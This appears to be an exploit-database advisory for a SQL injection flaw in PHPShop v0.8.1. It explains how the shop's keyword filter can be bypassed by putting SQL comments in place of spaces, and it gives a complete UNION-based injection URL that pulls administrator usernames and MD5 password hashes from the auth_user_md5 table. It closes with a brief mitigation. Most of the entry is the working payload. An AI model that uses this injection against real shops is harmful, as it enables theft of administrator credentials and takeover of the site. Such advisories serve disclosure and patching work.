vendor:
PHPShop
by:
the redc0ders
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: PHPShop
Affected Version From: v0.8.1
Affected Version To: v0.8.1
Patch Exists: YES
Related CWE: N/A
CPE: a:phpshop:phpshop:0.8.1
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009
PHPShop SQL Injection Vulnerability
The script checks if $my_insecure_array contains 'SELECT ','UPDATE ' ...etc so WORD+space, and this can be easily bypassed using comments like POC : select/**/input1,input2... Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&product_id=-3'+UNION+select/**/null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,username/**/from/**/auth_user_md5/*
Mitigation:
Simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini